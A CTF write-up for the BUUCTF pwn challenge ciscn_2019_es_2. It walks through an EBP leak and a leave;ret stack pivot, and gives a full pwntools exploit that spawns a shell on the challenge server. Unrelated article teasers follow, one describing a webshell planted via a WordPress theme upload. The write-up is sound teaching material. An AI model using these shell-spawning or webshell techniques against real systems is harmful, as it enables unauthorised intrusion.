BUUCTF Pwn ciscn_2019_es_2 WP

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *

#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562


#gdb.attach(p)
#pause()

payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

p.send(payload2)
p.interactive()

运行 得到flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/944839.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

6.若依数据字典

数据字典 维护系统中常见的静态数据,例如:性别、状态等。 好处 不写死在页面上,而是通过数据库来维护,因为如果要修改,则只需要改数据库中的数据即可,不用每个地方都修改了。 字典类型的管理 字典数据的…

JVM学习-内存结构(二)

一、堆 1.定义 2.堆内存溢出问题 1.演示 -Xmx设置堆大小 3.堆内存的诊断 3.1介绍 1,2都是命令行工具(可直接在ideal运行时,在底下打开终端,输入命令) 1可以拿到Java进程的进程ID,2 jmap只能查询某一个时…

rust windwos 两个edit框

use winapi::shared::minwindef::LOWORD; use windows::{core::*,Win32::{Foundation::*,Graphics::Gdi::{BeginPaint, EndPaint, PAINTSTRUCT},System::LibraryLoader::GetModuleHandleA,UI::WindowsAndMessaging::*,}, };// 两个全局静态变量,用于保存 Edit 控件的…

PostgreSQL 数据库连接

title: PostgreSQL 数据库连接 date: 2024/12/29 updated: 2024/12/29 author: cmdragon excerpt: PostgreSQL是一款功能强大的开源关系数据库管理系统,在现代应用中广泛应用于数据存储和管理。连接到数据库是与PostgreSQL进行交互的第一步,这一过程涉及到多个方面,包括连…

【服务器项目部署】⭐️将本地项目部署到服务器!

目录 🍸前言 🍻一、服务器选择 🍹 二、服务器环境部署 2.1 java 环境部署 2.2 mysql 环境部署 🍸三、项目部署 3.1 静态页面调整 3.2 服务器端口开放 3.3 项目部署 ​ 🍹四、测试 🍸前言 小伙伴们大家好…

网络层知识点梳理

网络层的作用 实现点到点服务的数据透明传送,具体功能包括寻址和路由选择、连接的建立、保持和终止点等。它提供的服务使传输层不需要了解网络中的数据传输和交换技术 网络层单位是分组网际层协议IP ARP地址解析协议 根据IP地址获取物理地址 RARP反地址解析协议 根据…

Spring Boot教程之四十:使用 Jasypt 加密 Spring Boot 项目中的密码

如何使用 Jasypt 加密 Spring Boot 项目中的密码 在本文中,我们将学习如何加密 Spring Boot 应用程序配置文件(如 application.properties 或 application.yml)中的数据。在这些文件中,我们可以加密用户名、密码等。 您经常会遇到…

windows 上安装nginx , 启停脚本

windows 上安装nginx , 启停脚本 cmd win 查看进程 tasklist /fi "imagename eq nginx.exe" 杀死进程 taskkill -pid 16212 -f 访问 http://127.0.0.1:8081/# 用脚本管理, 创建文件 kill.txt echo off chcp 65001 setlocal enabledel…

【Rust自学】7.5. use关键字 Pt.2 :重导入与换国内镜像源教程

喜欢的话别忘了点赞、收藏加关注哦,对接下来的教程有兴趣的可以关注专栏。谢谢喵!(・ω・) 7.5.1. 使用pub use重新导入名称 使用use将路径导入作用域内后。该名称在词作用域内是私有的。 以上一篇文章的代码为例: m…

vulnhub jangow靶机

1.扫描靶机IP arp-scan -l如果扫不到靶机的话根据以下配置 启动时点击第二个 按回车 继续选择第二个 按e进入编辑 删除"recovery nomodeset" 在末尾添加"quiet splash rw init/bin/bash" Ctrlx 启动进入如下界面 passwd修改root密码 重启电脑登录root修…

Redis Java 集成到 Spring Boot

Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:Redis 📚本系列文章为个人学习笔…

FPGA实现HDMI输出

FPGA实现HDMI输出 对应的视频讲解 FPGA实现HDMI输出 FPGA实现HDMI输出有两种方式 采用专门的HDMI芯片使用RTL完成TMDS编码 受限于FPGA本身时钟频率的限制,使用RTL完成TMDS编码的方式是很难完成高帧率的HDMI输出的,比如1080P60Hz的像素时钟为148.5MHz&…

uniapp——微信小程序,从客户端会话选择文件

微信小程序选择文件 文章目录 微信小程序选择文件效果图选择文件返回数据格式 API文档: chooseMessageFile 微信小程序读取文件,请查看 效果图 选择文件 /*** description 从客户端会话选择文件* returns {String} 文件路径*/ const chooseFile () &g…

SpringCloudAlibaba实战入门之路由网关Gateway初体验(十一)

Spring Cloud 原先整合 Zuul 作为网关组件,Zuul 由 Netflix 公司提供的,现在已经不维护了。后面 Netflix 公司又出来了一个 Zuul2.0 网关,但由于一直没有发布稳定版本,所以 Spring Cloud 等不及了就自己推出一个网关,已经不打算整合 zuul2.0 了。 一、什么是网关 1、顾明…

C#WPF基础介绍/第一个WPF程序

什么是WPF WPF(Windows Presentation Foundation)是微软公司推出的一种用于创建窗口应用程序的界面框架。它是.NET Framework的一部分,提供了一套先进的用户界面设计工具和功能,可以实现丰富的图形、动画和多媒体效果。 WPF 使用…

【GUI-PyQt5】简介

1. 简介 GUI:带图形的用户接口程序,也就是桌面应用。 2. 分类 2.1 基本窗口控件 QMainWindowQwidgetQlabelQLineEdit菜单工具栏 2.2 高级组件 QTableViewQListView容器多线程 2.3 布局管理 QBoxLayoutQGridLayoutQFormLayout嵌套布局 2.4 信号与…

音视频入门基础:MPEG2-TS专题(22)——FFmpeg源码中,获取TS流的音频信息的实现

音视频入门基础:MPEG2-TS专题系列文章: 音视频入门基础:MPEG2-TS专题(1)——MPEG2-TS官方文档下载 音视频入门基础:MPEG2-TS专题(2)——使用FFmpeg命令生成ts文件 音视频入门基础…

点击锁定按钮,锁定按钮要变成解锁按钮,然后状态要从待绑定变成 已锁定

点击锁定按钮,锁定按钮要变成解锁按钮,然后状态要从待绑定变成 已锁定点击解锁按钮,解锁按钮要变成锁定按钮,然后状态要从已锁定变成 待绑定 {"code": 0,"msg": "状态更新成功","data":…

LabVIEW化工实验室设备故障实时监测

化工实验室中,各类设备的运行状态直接影响实验的精度与安全性。特别是重要分析仪器的突发故障,可能导致实验中断或数据失效。为了实现设备运行状态的实时监控与故障快速响应,本文提出了一套基于LabVIEW的解决方案,通过多参数采集、…

常见的CMS漏洞

WordPress 搭建网站 一.上传文件模板 1.从网上随便下载一个模板 2.把我们的模板托出来并改名 写好我们的木马命名为eval;然后进行压缩 3.上传我们的木马模板 上传压缩包即可;网站会帮我们解压 上传成功 找到我们的模板准备连接他 这套网站是开源的;想知道页面模板的路径在哪…